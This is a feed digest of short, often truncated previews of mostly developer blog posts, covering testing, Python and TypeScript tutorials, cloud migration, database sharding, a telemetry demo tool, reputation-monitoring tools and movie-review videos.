    As businesses continue to deliver seamless digital experiences, the way we test applications has become more critical than ever. “web app testing” and “mobile app testing” at the start in this way to improve keyword relevance and make the introduction easier to read. To ensure consistent quality, QA teams must adapt their strategies depending on whether they’re testing a mobile app or a web app. The differences go far beyond screen size-ranging from device fragmentation and operating system diversity to installation flows, hardware integration, and even network variability. These challenges mean that the same QA approach cannot be applied to both environments without risking missed bugs or poor user experiences. If you’re interested in a foundational understanding of QA practices, check out our earlier blog on Everything You Need to Know About Functional Testing: A Beginner’s Guide In this blog, we’ll explore the key differences between mobile and web app testing, including device and OS diversity, installation and release processes, UI responsiveness, hardware-specific testing, performance constraints, and network considerations. We’ll also cover practical insights into build distribution, release workflows, and do’s and don’ts to help QA engineers deliver more reliable applications across platforms. In this blog, we’ll explore the key differences between mobile and web app testing, including device and OS diversity, installation and release processes, UI responsiveness, hardware-specific testing, performance constraints, and network considerations. We’ll also cover practical insights into build distribution, release workflows, and do’s and don’ts to help QA engineers deliver more reliable applications across platforms. read more: https://jignect.tech/what-makes-mobile-app-testing-different-from-web-app-testing-a-qa-engineers-guide/  ( 7 min )
    Why Vitamin D health effects and supplementation matter now?
    New vitamin D research and what it means for your health Vitamin D helps the body absorb calcium and supports bone health. Recent studies revisit its wider roles, including immune and cardiovascular health. However, the evidence for supplements remains mixed. The standard test measures 25-hydroxycholecalciferol or 25(OH)D blood levels. A deficiency is below 30 nanomoles per liter. Because most vitamin D comes from sunlight, skin exposure drives levels. In addition, diet provides oily fish, egg yolks, mushrooms, and fortified foods. Infants need supplements at least until age one to prevent rickets. Low vitamin D associates with higher blood pressure and greater cardiovascular event risk. However, trials give conflicting results about whether supplements reduce these risks. Randomized tri…  ( 7 min )
    Angular migration to AWS with Azure AD SSO
    Introduction: Problem Statement: Scalability issues Server maintenance challenges Regular patching, monitoring, and hardware upkeep consumed significant time and resources. Server end-of-life concerns Authentication complexity Deployment bottlenecks The business needed a cloud Migration Steps Updated Angular dependencies for compatibility with modern cloud hosting. Integrated MSAL.js to handle authentication flows with Azure AD. Configured OAuth 2.0 and OpenID Connect for secure token management. Step 2: Setting up AWS Infrastructure Hosted static Angular files on Amazon S3. Used CloudFront as a CDN for faster global delivery. Configured Route 53 for domain management and DNS routing. Step 3: Integrating Azure AD SSO Registered the application in Azure AD. Configured redirect …  ( 8 min )
    Day 7: Simple Calculator - Putting It All Together - 30 Days of Python Challenge
    Welcome Back to Day 7! Hey everyone! It's Day 7 of my 30 Days of Python Challenge, and today is EXTRA exciting because we're building our first real project a calculator! If you missed the previous days: [Day 1: Print Statements] [Day 2: Variables and Data Types] [Day 3: Type Casting] [Day 4: User Input] [Day 5: Arithmetic Operators] [Day 6: If Statements] Today, we're combining everything we've learned into a functional calculator. Let's build something awesome! Today's mission: Build a Calculator. This is where all our previous lessons come together! We're using user input, type casting, arithmetic operators, if statements, and introducing something new—functions! Building this calculator taught me: How to organize code into reusable functions How to handle user input for calculation…  ( 9 min )
    The Future of Digital Marketing: Strategies Businesses Can’t Ignore in 2025
    Digital marketing has evolved at lightning speed over the past decade, reshaping how businesses connect with customers and build long-term brand loyalty. In 2025, the pace of change shows no signs of slowing down. From artificial intelligence to voice search, personalization to privacy-first strategies, companies that want to thrive must stay ahead of the curve. This article explores the most important digital marketing trends shaping the future — and how businesses can leverage them to drive growth, build trust, and stand out in increasingly competitive markets. Artificial intelligence (AI) is no longer a buzzword; it’s the backbone of modern marketing. AI-driven tools now handle everything from predictive analytics to automated content creation, customer segmentation, and personalized …  ( 9 min )
    Day 3: Python Programming
    Operators Arithmetic Operators Used for mathematical calculations. Operator Meaning Example Addition 10 + 5 Subtraction 10 - 5 Multiplication 4 * 3 Example: Comparison Operators Greater than Logical Operators Assignment Operators = a = a × 5 * x = 10 String 1. What is a String? 2. String Indexing 3. String Slicing 4. Important String Functions 5. Loop Through String 6. Check Substring 7. Count Vowels Program word = "education" count = 0 for ch in word: if ch in "aeiou": count += 1 print("Vowels =", count)  ( 7 min )
    Untitled
    Check out this Pen I made!  ( 6 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    Everything Wrong With The Wiz In 15 Minutes Or Less CinemaSins hops back onto the yellow brick road now that Wicked’s back in theaters, running through The Wiz with their signature sin-counting style—pointing out plot holes, quirky performances, and head-scratching moments you might’ve forgotten. It’s a fun, fast ride that asks: “Is The Wiz actually better than you remembered?” If you’re thirsty for more nit-picking goodness, their website and Linktree have all the latest videos, polls, and Patreon deets—plus links to Discord, Reddit, and every social channel you can imagine. Don’t miss out on supporting the team and joining the sinful conversation! Watch on YouTube  ( 6 min )
    Sector HQ Weekly Digest - November 22, 2025
    Sector HQ Weekly Digest - November 22, 2025 Who's shipping vs who's just talking? Here's this week's AI industry intelligence. OpenAI - Score: 516189.8 | 343 events this week Anthropic - Score: 289651.9 | 51 events this week Google - Score: 159917.4 | 125 events this week Microsoft - Score: 136773.6 | 99 events this week Amazon - Score: 130268.4 | 22 events this week Nvidia - Score: 129302.5 | 161 events this week Meta - Score: 100622.6 | 61 events this week Apple - Score: 84205.9 | 94 events this week Perplexity - Score: 47899.8 | 3 events this week DeepMind - Score: 46045.2 | 8 events this week ↑ Sony jumped 277 positions to #55 ↑ Stability AI jumped 183 positions to #74 ↑ Bytedance jumped 143 positions to #58 ↑ Scale AI jumped 122 positions to #38 ↑ Palantir jumped 107 positions to #17 No high hype alerts this week Total companies tracked: 100 Total events this week: 1317 Average activity per company: 13.2 events The AI industry continues to evolve rapidly. Companies that ship consistently rise in our rankings, while those focused on hype alone get flagged by our Hype Gap detector. Methodology: Our leaderboard tracks real product releases, funding events, partnerships, and market traction - not just PR and social media buzz. Want real-time updates? Check out the live leaderboard at sectorhq.co Track specific companies and get instant alerts when they move in the rankings. Tags AI #ArtificialIntelligence #MachineLearning #TechIndustry #Startups #AILeaderboard  ( 6 min )
    Mastering Modules in TypeScript: A Comprehensive Guide
    In the world of TypeScript, modules play a crucial role in organizing and structuring code for better maintainability and scalability. Let's dive into the world of modules in TypeScript and explore how they can enhance your development experience. Modules in TypeScript allow you to divide your code into reusable components that can be easily imported and exported across different files. This helps in keeping your codebase clean and organized. To export a module in TypeScript, you can use the export keyword followed by the element you want to export. For example: // mathFunctions.ts export function add(a: number, b: number): number { return a + b; } You can then import this module in another file using the import statement: // app.ts import { add } from './mathFunctions'; console.log(add(2, 3)); // Output: 5 In addition to named exports, TypeScript also supports default exports. You can export a default module like this: // logger.ts export default function log(message: string): void { console.log(message); } And import it using: // app.ts import log from './logger'; log('Hello, World!'); By using modules effectively, you can organize your codebase into logical units, making it easier to maintain and scale. You can create separate modules for different functionalities such as authentication, data manipulation, and UI components. TypeScript uses a system called 'module resolution' to find and load modules in your code. There are different strategies for module resolution, such as Node.js style, Classic, and others. Understanding how module resolution works can help you avoid common pitfalls when working with modules. Modules are a powerful feature in TypeScript that can greatly improve the structure and organization of your code. By mastering modules, you can write more maintainable and scalable applications. Start leveraging the power of modules in TypeScript today!  ( 7 min )
    Architecting a Fantasy Football Trade Analyzer: APIs, Algorithms, and Avoiding Bias
    Hey dev.to community, Fantasy football is a data-driven obsession for millions. We agonize over lineup decisions and, most intensely, trades. The question "Did I win this trade?" is haunting. When building fftradeanalyzer.com, my goal was to answer that question objectively using data, moving beyond gut feelings. However, calculating the "value" of an NFL player in real-time is a surprisingly complex engineering challenge that involves disparate data sources, predictive modeling, and handling significant contextual noise. Here is a high-level overview of the architecture and challenges involved in building a modern fantasy sports analysis tool. The Challenge: Defining "Value" in a Vacuum Projections: What are they likely to do moving forward? Positional Scarcity: A top-tier Tight End is wo…  ( 7 min )
    Key Concepts Covered in a Java Training Course
    Java is one of the most powerful and adaptable programming languages in today’s technology. From mobile applications to enterprise level software and web applications everywhere java’s presence is there. Java is the top choice for developers and organizations because it is platform independent, object oriented and secure. Table of Contents Basics of Java and Environment Setup Data Types, Variables, and Operators Control Flow Statements Object-Oriented Programming (OOP) Concepts Exception Handling in Java Collections Framework Multithreading and Concurrency Java Database Connectivity (JDBC) Basics of Java and Environment Setup You will learn how to install java and set up environment variables and to use Integrated Development Environment like Eclipse or IntelliJ IDEA. The first few se…  ( 9 min )
    How to Leverage Real Estate Tokenization to Unlock Property Value
    Real estate has traditionally been one of the most stable and lucrative investment classes. However, unlocking the true value of property has often been limited by high capital requirements, complex legal processes, and illiquid markets. Many valuable properties remain underutilized because their owners cannot access sufficient liquidity, and investors are unable to participate due to entry barriers. Real estate tokenization—a blockchain-driven innovation—is rapidly changing this landscape. By converting ownership of a property into digital tokens, property owners and developers can unlock capital, enhance liquidity, and expand access to a broader investor base, fundamentally redefining how property value is realized. Tokenization enables fractional ownership, automated management of incom…  ( 10 min )
    Designer Clothes Online: Redefining Luxury for the Digital Era
    The rise of designer clothes online has transformed the shopping experience for fashion enthusiasts around the world. What once required traveling to exclusive boutiques or high-end malls can now be explored through digital catalogues, immersive lookbooks, and personalized recommendations. This shift has made luxury fashion more accessible, allowing shoppers to enjoy premium craftsmanship and unique styles with unmatched convenience. The convenience of browsing designer collections online is one of its strongest attractions. Shoppers can compare styles, explore color options, read fabric details, and scroll through curated trends—all without stepping out of their homes. The digital space also offers a broader selection than many physical stores, featuring both global luxury houses and emer…  ( 8 min )
    Common Coding Mistakes at Every Level (And How to Fix Them)
    Common Coding Mistakes at Every Level (And How to Fix Them) TheBitForge ・ Nov 22 #webdev #programming #productivity #python  ( 6 min )
    Erome: A Complete Guide to the Content-Sharing Platform (2025 Overview)
    Erome is an online content-sharing platform that allows users to upload, organize, and share visual collections with a global audience. Over the years, it has built a recognizable presence due to its simple interface, community-driven uploads, and flexible gallery-style design. Whether you're researching Erome for informational purposes, online safety, or platform comparison, this guide provides a clear, balanced, and easy-to-understand overview. Erome is a media-hosting platform where users can create an account, set up albums, and upload photos or videos into curated galleries. These galleries can be shared publicly or kept private, depending on user preference. The website works similarly to other user-generated content platforms, focusing on simplicity and fast content delivery. The up…  ( 9 min )
    Best Virtual Model Generators for Clothing Brands in 2025: Top Tools to Boost Your Fashion Line
    As a fashion marketer and creative obsessed with workflow speed, I know firsthand how draining, expensive, and stressful producing great model photography can be. That’s why, over the past few months, I’ve gone all-in on testing the newest virtual model generators aimed at clothing brands. My goal? To find out which tools actually deliver on quality, realism, and legal compliance-without sucking up all my sanity or budget. Note: This article was generated with the help of AI tools and may reference companies I'm affiliated with. This list is about the tools that let me create meaningful model content for catalogs, campaigns, and e-commerce updates. I’ve used each one for real brand projects or test scenarios-not just poked at the settings. I put every option through the wringer with actu…  ( 12 min )
    So insightful
    A Beginner-Friendly Guide to TypeScript (What I Wish I Knew Earlier) Increase Akinwole ・ Nov 21 #webdev #ai #typescript #javascript  ( 6 min )
    Statistics Day 8: Understanding A/B Testing and Market Basket Analysis Without the Jargon
    Statistics Challenge for Data Scientists Today, we’ll understand two very practical ideas: A/B Testing – how to compare two options and choose the better one using data. Market Basket Analysis – how to find which items are often bought together. A simple concept, but still useful for data scientist. A/B testing is like a fair competition between two versions of something to see which one works better. You create: Version A Version B Then you show A to some people, B to some other people, and compare results. We do this to answer questions like: Which button gets more clicks? Which headline makes more people sign up? Which page keeps users longer? Imagine you have a website with a “Sign Up” button. You are not sure which button color works better: Version A: Red button Version B: Green butt…  ( 9 min )
    Java JOLT library tutorial with Examples
    1. What is JOLT? JOLT (JSON-to-JSON Transformation) is an open-source Java library (originally from Bazel/Spotify) used to: ✔ Transform JSON into a different JSON JOLT uses a transformation spec, written as JSON, to tell how input JSON should be transformed. 2. Why and When to Use JOLT? Use JOLT when: Examples: Backend receives API JSON and needs to convert it to another JSON format. Integrating with 3rd-party APIs that return weird JSON structure. Without JOLT you'd write dozens of lines of ObjectMapper, maps, loops, etc. JOLT reduces this to a tiny JSON transformation spec. You can store the spec in: a file, a database, config properties, or generate dynamically. 3. What is a Spec? A spec is a JSON array describing transformation steps. Example: [ { "operation": "shift", …  ( 9 min )
    I’m building a Python-native frontend framework that runs in the browser
    For years, the browser belonged entirely to JavaScript. I decided to challenge that assumption. I’m currently building Evolve **- a **Python-native frontend framework powered by WebAssembly and a minimal JavaScript DOM kernel. The goal is simple: Write UI in Python Run it in the browser Keep it fast, reactive, and simple I’m still deep in development, so I’m not publishing the source yet. But I will be sharing progress, architecture, and demos. If you’re curious about Python + WebAssembly in frontend, stay tuned.  ( 6 min )
    How to build a responsive alternating timeline with Tailwind CSS
    If you've ever tried to build a timeline that looks good on both mobile and desktop, you know it can get messy fast. This guide breaks it down step by step: how the grid is structured, how the spine works, how cards switch sides, and how to keep everything readable and accessible. Read the full article and grab the full snippet: https://lexingtonthemes.com/blog/how-to-build-a-responsive-alternating-timeline-with-tailwind-css  ( 6 min )
    Why I favor the fundamentals over the "Framework of the Month" for Web Development
    I’ve been doing web development for roughly 15 years. I remember the days before npm, the rise of jQuery, Bootstrap, the explosion of SPAs, and things in between. I’ve seen exciting trends and helpful tools, but lately, I’ve also seen frameworks that are increasingly confusing. Today's web development seems to be heading in an uneasy direction. We have normalized a level of complexity that pulls developers away from the basics of the web and into a walled garden framed by build tools, transpilers, and packers. I’m lucky to be self-employed, which gives me a unique perspective. I don't have a boss or a job description forcing me to use a specific framework, and that gives me the freedom to build my own way. Here is why I favor the fundamentals (HTML, CSS, JS) over the "Framework of the Mont…  ( 8 min )
    Migrated my whole SaaS Typing
    I just migrated my entire SaaS from varchar(36) UUID4 → native uuid UUID7 🤡. Instant results: ~33% faster inserts Smaller indexes Faster joins Less storage Smoother scaling Stop storing UUIDs as strings. 🐒 UUID7 is the upgrade everyone should’ve done yesterday.  ( 6 min )
    Building a React Native Hiragana & Katakana Learning App — My Approach & Lessons Learned
    Japanese learners always struggle in the beginning — not with vocabulary, but with memorising Hiragana and Katakana properly. I was in the same situation once, and I didn’t find a clean offline tool on Android. Most apps were full of ads or heavy UI. So I built a simple solution: KF Hiragana Katakana Flashcard — made for beginners and JLPT aspirants who just want to master the Japanese alphabet with repetition. The goal is speed + focus. No distractions. 📌 Flashcards for all Hiragana & Katakana characters 🔄 Shuffle mode to improve recall 📱 Offline support — learn anywhere 🎯 Minimal UI to keep focus on learning 🚀 Designed for JLPT N5 and N4 level practice This app is meant for daily usage, even if you study just 5–10 minutes per day. Technology Purpose React Native Core app development Expo (Managed Workflow) Dev environment & OTA updates Local JSON Data Store Hiragana & Katakana characters Async Storage Save user preferences (optional) No Backend Used Lightweight & offline-first approach AI Tools (assisted) Debugging & UI improvements Expo EAS Build Deployment to Play Store Keeping everything local made the app light and fast, perfect for learners who don’t have reliable internet all the time. Download & Try Hiragana Katakana Flashcard 👉 Play Store Lessons Learned During Development What really helped me while building: Keeping UI minimal increased usability JSON-based data is clean & easy to maintain React Native + Expo is powerful for quick prototypes Testing on a real phone matters — simulator is not enough AI + human logic = faster problem solving This app taught me that small tools solve big learning blocks. Especially in language learning.  ( 7 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less is CinemaSins’ latest snarky teardown, counting every plot hole, cliché and eyebrow-raising moment in record time. If you’ve ever wondered how demon hunting pairs with K-pop flair (and how many “sins” that mash-up racks up), this brisk, tongue-in-cheek breakdown has all the highlights. For more film-slaying fun, head to cinemasins.com or their Linktree for updates, polls and Patreon support. You can also follow the writers—Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel—on Twitter and Instagram, join the Discord or Reddit communities, check out Jeremy’s book, and catch extra banter on TikTok. Watch on YouTube  ( 6 min )
    Sharding - Architecture Series: Part 5
    🏗️ Sharding - Architecture Series: Part 5 ⚔️ WHAT is Sharding? Sharding = Horizontally splitting one huge database into many smaller databases (shards), each living on separate servers. Each shard stores a slice of the whole dataset and handles a slice of total traffic. Single DB (Overloaded) → Sharded DB (Distributed) ┌─────────────────────┐ ┌───────────┐ ┌───────────┐ ┌───────────┐ │ 1TB Data │ │ Shard 1 │ │ Shard 2 │ │ Shard 3 │ │ 15K QPS │ │ Users A-F │ │ Users G-M │ │ Users N-Z │ │ 💥 Slow / Choking │ │ 3K QPS │ │ 4K QPS │ │ 3K QPS │ └─────────────────────┘ └───────────┘ └───────────┘ └───────────┘ 📌 Dataset too large for a single server (100GB–TB scale) 📌 QPS (qu…  ( 8 min )
    Introducing "badtrace". Generate "bad" OpenTelemetry traces easily
    TLDR: badtrace on GitHub I needed a tool that would deliberately generate OpenTelemetry traces that were "bad". I needed this for training, enablement and demo purposes so that I could easily fire a trace with a known issue into my Observability system and thus show "why it was bad" and "how it looks". Yes, tools like tracepusher and telemetrygen already exist, but they typically: a) Generate "good" or "healthy" traces Hence, "badtrace" was born. It works based on "scenarios" (you can implement your own in a few lines of Python). python app.py \ --endpoint=http://localhost:4318 \ --service-name=badtrace \ # optional: defaults to "badtrace" --trace-count=1 \ # optional: defaults to 1 --insecure=true \ --scenario=scenario1 As I write this, there are currently 4 scenarios (please come and help implement more) which can be toggled by changing scenario1 above to scenario2, scenario3 or scenario4 etc. Scenario 1 creates a short, small trace. This is quick (in end-to-end time) and short in terms of number of spans. In reality this would be a very low value trace (and thus a candidate to filter or heavily sample). Scenario 2 creates a trace where some of the spans have errored. This models a trace where some of the operations error (imagine calling third party services and some of them fail). Scenario 3 creates a "chatty" client to server trace with the client repeatedly calling the same endpoint over and over. This models things like the N+1 query problem where (for example) multiple SELECT statements occur to a database (instead of batching up the SELECTS into fewer statements). Scenario 4 is similar to 3. It creates a "chatty" client but this time, the connections occur to many different servers. If this sounds useful, go check out badtrace on GitHub!  ( 7 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    Everything Wrong With The Wiz In 15 Minutes Or Less The CinemaSins crew is hitting the yellow brick road again to rip into 1978’s The Wiz—just in time now that Wicked is back in theaters—and they’re asking the big question: is this musical actually better than you remember? Expect all the classic Sin commentary, snarky observations, and rapid-fire jokes packed into a bite-sized rundown. Hungry for more? Head over to cinemasins.com or their Linktree for the latest videos, fill out their “sinful” poll, or throw a few coins into their Patreon. You can also stalk them on Twitter, Instagram, TikTok, Discord and Reddit to keep the movie nitpicking flowing. Watch on YouTube  ( 6 min )
    WebApiClientGen vs Kiota regarding ASP.NET backend + Angular Frontend
    Introduction When building modern applications with an ASP.NET Core backend and an Angular frontend, one recurring challenge is how to generate strongly typed client APIs. Developers want to avoid repetitive boilerplate, ensure type safety, and keep backend and frontend models in sync. Two tools often considered are WebApiClientGen and Kiota. While both aim to simplify client generation, they differ fundamentally in approach and fit. WebApiClientGen is a modular toolkit that generates C# and TypeScript client APIs directly from ASP.NET Core Web API controllers — without requiring Swagger/OpenAPI. C# client generation for .NET, Xamarin.Forms, MAUI, Blazor. TypeScript client generation for Angular, Aurelia, Axios, Fetch API, jQuery. POCO → TypeScript conversion for schema fidelity. A…  ( 8 min )
    Why AWS AIOps Matters Now.. A Technical Breakdown for DevOps and SRE Teams
    IT operations have reached a breaking point. Traditional monitoring tools can’t keep up with the complexity of cloud-native environments, microservices, and continuous delivery pipelines. Incidents are more expensive than ever with downtime costing enterprises between $300,000 and $1M per hour (Gartner). Yet, AWS customers adopting GenAI-powered AIOps have seen a 60% reduction in mean time to resolution, 95% fewer out-of-hours incidents, and 99.9% availability across critical workloads. Meanwhile, DevOps and SRE teams are drowning in alert storms, spending more time reacting to noise than resolving real issues. This is where AIOps (Artificial Intelligence for IT Operations) comes in. By combining advanced machine learning with automation, AIOps doesn’t just monitor (it predicts, correla…  ( 8 min )
    Selenium Architecture & Python Virtual Environ
    Selenium architecture is based on a client-server model where test scripts communicate with browser drivers through APIs and protocols. Here are the key points you should know: Available in multiple languages (Java, Python, C#, Ruby, etc.). Test scripts are written using these libraries to send commands to browsers. Acts as a bridge between client libraries and browser drivers. Converts commands into a standard format that browsers can understand. Selenium 4 fully supports the W3C WebDriver protocol, improving compatibility with modern browsers. Each browser has its own driver (e.g., ChromeDriver, GeckoDriver for Firefox, EdgeDriver). Drivers receive commands from the client via HTTP and execute them in the browser. They return responses back to the client libraries. The actual environment…  ( 7 min )
    The Complete Toolkit for Instant Photo Editing — All in Your Browser
    If you’ve ever needed to quickly resize, compress, or convert an image, you probably know how frustrating it can be to juggle between different apps or heavy desktop tools. The good news is that now, most of this can be done instantly — right in your browser. Pixilify TinyPNG Squoosh ILoveIMG Convertio Final Thoughts You don’t need Photoshop for simple edits anymore. Browser-based tools have become powerful enough for most quick tasks. Whether you’re adjusting image sizes for a website, compressing for social media, or converting formats for better compatibility, these platforms make it effortless. What’s your go-to browser-based image editor?  ( 6 min )
    Why does the PHP header redirect not work sometimes?
    Ever stuck hours or days looking for bugs in your PHP project when the redirection is not working as expected? project for my new PHP course. And after looking for possible bugs for some time, I remembered the fix I used when I was just a beginner (a decade ago). Now I was curious to know why the PHP header was not working when another fix is working fine. So I did a quick Google search and found out that there should not be any output (like HTML, whitespace or errors) before header() function call. It’s similar to the “Cannot modify header information” error. 1. Whitespace before opening PHP tag: Any space or new line before the opening “<?php” tag is considered as an output. 2. HTML output before Header call: Any echo/print statements that have been executed before header redirection als…  ( 7 min )
    How to choose the right image format for web use (JPEG vs PNG vs WebP)
    Picking the right image format may look like a small decision, but it can affect how fast your site loads, how sharp your visuals look and even how users interact with your content. If you’re unsure when to use JPEG, PNG or WebP, here’s an easy guide. JPEG JPEG works best for photos or images with many colors and gradients. When to use Product photos Small file size Loses some detail during compression PNG PNG is good when you need crisp quality with transparency. When to use Logos High quality Larger file size compared to JPEG WebP WebP is a modern format that offers high quality with smaller sizes. When to use Most web images Smaller than JPEG and PNG Older browsers may not support it Quick comparison Format Best for Quality Transparency File size JPEG Photos Good No Small PNG Graphics Excellent Yes Large WebP Most uses Excellent Yes Small Simple rule to follow Photos → JPEG or WebP If your platform supports it, WebP is a great all-round option. Still, JPEG and PNG remain important when you need broad compatibility. Experiment a little to see what meets your quality and performance goals  ( 7 min )
    Essential OSINT Tools for Reputation Monitoring: A Technical Deep Dive
    Essential OSINT Tools for Reputation Monitoring: A Technical Deep Dive As reputation management professionals, we rely heavily on OSINT (Open-Source Intelligence) tools to monitor online presence and identify potential threats. Today, I'm sharing our comprehensive toolkit that helps businesses protect their digital footprint. OSINT tools provide real-time monitoring capabilities that are essential for: Early threat detection Brand mention tracking Competitor analysis Crisis prevention Key Tools: Social-searcher.com - Free social media search across multiple platforms Mention.com - Real-time brand monitoring TweetDeck - Advanced Twitter monitoring Essential Tools: Google Alerts - Basic but effective for brand mentions ReviewTrackers - Multi-platform review monitoring Trustpilot Business - Review tracking and management Critical Tools: Google Search Console - Search performance monitoring Moz Pro - Rank tracking and backlink analysis SEMrush - Comprehensive SEO and brand monitoring I've compiled an extensive list of these tools in our GitHub repository: Essential OSINT Tools Checklist This resource includes: Tool descriptions and use cases Pricing information (free vs paid) Implementation guides Best practices for each tool bash # Example automated monitoring setup 1. Configure Google Alerts for brand keywords 2. Set up Social Searcher for social media mentions 3. Implement Google Search Console for SEO tracking 4. Schedule weekly reputation audit reports  ( 7 min )
    The Rise of AI Creativity: How Generative AI Is Changing Industries
    In today’s fast-paced digital world, Generative AI is no longer just a futuristic concept—it’s actively transforming the way industries operate. From creating art and designing products to generating content and optimizing workflows, generative AI is revolutionizing creativity across sectors. Businesses that harness this technology gain a competitive edge by accelerating innovation and improving efficiency. What is Generative AI? Industries Being Transformed by Generative AI 1. Marketing and Content Creation 2. Design and Visual Arts 3. Music and Entertainment Read More: The Rise of AI Creativity: How Generative AI Is Changing Industries Conclusion For more insights into AI innovations, industry trends, and how businesses are leveraging cutting-edge technologies, be sure to visit Nate Patel’s website for expert guidance and resources.  ( 7 min )
    How do ChatGPT group chats for team collaboration help?
    ChatGPT group chats for team collaboration: Integrating AI into everyday workflows ChatGPT group chats unlock new ways for teams to collaborate. They create shared spaces where up to 20 people can participate. As a result, teams can align faster and reduce email clutter. OpenAI built group chats to copy an existing conversation into a shared thread. Then members join via a shareable link. Because the system runs on GPT-5.1 Auto, the model can reply when mentioned and react with emojis. However, rate limits apply only when ChatGPT sends messages. Also, OpenAI says it will not use memories from personal chats inside group conversations, and it will not create new memories from group activity. Therefore privacy controls matter for enterprise adoption. Start a group chat by tapping the peopl…  ( 8 min )
    Building Open-Source Reputation Management Tools: Why I Shared Our Proprietary Frameworks
    Building Open-Source Reputation Management Tools: Why I Shared Our Proprietary Frameworks As the Director of Pure Reputation, I've decided to open-source many of our reputation management tools and frameworks. In this article, I'll explain why transparency matters in the reputation management industry and how these resources can help businesses protect themselves. In an era where fake reviews and online attacks are increasingly common, I believe every business should have access to basic reputation protection tools. By open-sourcing our frameworks, we're: Democratizing access to essential reputation management resources Building trust through transparency in our methodologies Encouraging collaboration and improvements from the community Helping businesses who can't afford expensive reputation management services Digital Reputation Insights This collection includes: OSINT tools for comprehensive online monitoring Getting started guides for reputation management beginners Risk assessment frameworks to identify vulnerabilities Essential tools checklist for ongoing protection These resources are perfect for: Small business owners monitoring their online presence Marketing professionals managing brand reputation Developers building reputation management tools Business consultants advising clients on digital protection Visit our GitHub organization to access all repositories. Each includes detailed documentation, contribution guidelines, and practical examples. I welcome feedback, contributions, and discussions about how we can collectively improve online reputation management for businesses worldwide. Simon Leigh Director, Pure Reputation Website | GitHub  ( 6 min )
    The Day I Learned What Actually Slows Down React Apps
    Every React developer thinks performance issues come from the backend—until they learn the truth. I learned mine in the middle of a sprint where the backend team kept saying, “API is fast… the UI isn’t.” They were right. A junior dev pinged me: “Why does our UI freeze if the API is super fast?” I opened the Profiler. One component—just one—was re-rendering 19 times for one change. We didn’t have a slow API. We applied: React.memo for components with stable props Debounced handlers Avoided object spreading Lazy loading Bundle splitting The fix wasn't magic. It was discipline. 32% faster load. React performance isn’t about doing “more”. It’s about avoiding the unnecessary.  ( 6 min )
    Full-Stack Mobile Development (Flutter + Serverpod) #4 - Task CRUD Operations
    Hey, Flutter fam! Episode 4 of our Flutter x Serverpod series is here! Last time we integrated authentication: login, registration, reset/forgot password, validation code, and secure Home screen. If you're signed in and staring at an empty task list right now… perfect. Today, we're filling it with secure CRUD operations for our fintech to-do app. We're creating, reading, updating, and deleting trade alerts that are fully owned by the logged-in user, with validation to prevent anyone from entering a negative amount. By the end, your app will feel production-ready, complete with empty states, loading spinners, error toasts, and more. Let's build! Subscribe and let's code! 🚀 FOR BETTER UNDERSTANDING, REFER TO THE YOUTUBE VIDEO. First, our Task model  In fintech_todo_server/lib…  ( 9 min )
    How I Vibe Coded a Custom Telegram Downloader (Because Browser Throttling is the Worst)
    We have all been there. You find a course file, a movie, or a project archive on Telegram that is over 1GB. You start the download via the Web or Desktop client, watch the progress bar pick up speed, and then you make the mistake of switching tabs or walking away to grab a coffee. Ten minutes later, you check back. The progress bar hasn’t moved. The speed is 0 B/s. The download is stuck at 99%. That gigabyte of data you successfully pulled is now a useless, orphaned file, forcing you to start the transfer from scratch. While reading about this, realized the problem isn’t that Telegram is slow. The problem is that browsers and OSs hate long-running background tasks. So, I created TeleDM (Telegram Download Manager). It solves this fundamental frustration by providing a robust, “fire and forg…  ( 8 min )
    Building an End-to-End Monitoring Architecture in Azure for a Multi-Service Product
    A scheduled data collection service that crawls external sources An API service that processes, transforms, and serves enriched data To ensure uninterrupted operations, a full-stack monitoring architecture was developed on Azure covering everything from infrastructure metrics to business KPIs, with automated alerting routed directly into Slack. This post breaks down the layers of that monitoring system and the principles behind its design. Both services run on Azure App Service. Azure provides extensive diagnostic categories, and every relevant category was enabled to maximize visibility: ✔ HTTP Logs ✔ Console Logs ✔ Application Logs ✔ Access Audit Logs ✔ IPSecurity Audit Logs ✔ Platform Logs ✔ Authentication Logs ✔ AllMetrics (CPU, Memory, Connections, Threads) All logs flo…  ( 8 min )
    JavaScript Clean Code Mastery: Part 2 - Functions That Do One Thing Well
    Welcome Back, Code Cleaners! In Part 1, we mastered meaningful variable names and killed the var keyword forever. Today, we're tackling the heart of clean code: functions. I once wrote a 250-line function called processUserData(). It validated, transformed, saved to database, sent emails, logged activities, and made coffee (okay, not that last one). When a bug appeared, I spent 4 hours finding it in that monster function. Never again. Today's Mission: Write small functions that do ONE thing Master arrow functions (and avoid common mistakes) Name functions like a pro Make your code self-documenting Let's transform those god functions into clean, testable masterpieces. The Golden Rule: If you can't describe what a function does in one sentence without using "and", it's doing too much. func…  ( 13 min )
    How TV Ad Sales Work: A Complete Overview
    Television advertising has been a cornerstone of marketing for decades, launching brands into households across the globe. But how do those commercials actually make it onto our screens? The process behind television advertising sales is a complex interplay of networks, advertisers, and agencies, involving intricate negotiations and strategic planning. The world of TV advertising involves several key participants, each with a distinct role in the buying and selling process. At the top of the chain are the networks (like NBC, CBS, or ESPN) and local broadcast stations. They are the content creators and distributors who own the advertising inventory—the commercial breaks during their programming. Their primary goal is to sell this airtime to advertisers for the highest possible price. Their …  ( 9 min )
    First Release to My CLI Tool
    The Beginning: "How Hard Could It Be?" After successfully building my RepositoryContextPackager tool with CMake and getting CI/CD working across Windows, macOS, and Linux, I thought, it is going to be smoother experience. At the end of the day I did my release to my RepoContextPackager, but the path to get there was much harder than expected. Looking back, I should have stuck with purely making Releases on my repo from the start. I started by creating custom overlay ports for vcpkg. The structure seemed straightforward: ports/ └── repositorycontextpackager/ ├── portfile.cmake └── vcpkg.json Every time I made a commit and created a new tag, I had to update the REF in portfile.cmake, set SHA512 0 as a placeholder, then run ./vcpkg install repositorycontextpackager --overlay-port…  ( 7 min )
    Why Data Analytics Has Become the Most Important Skill in Today’s Job Market
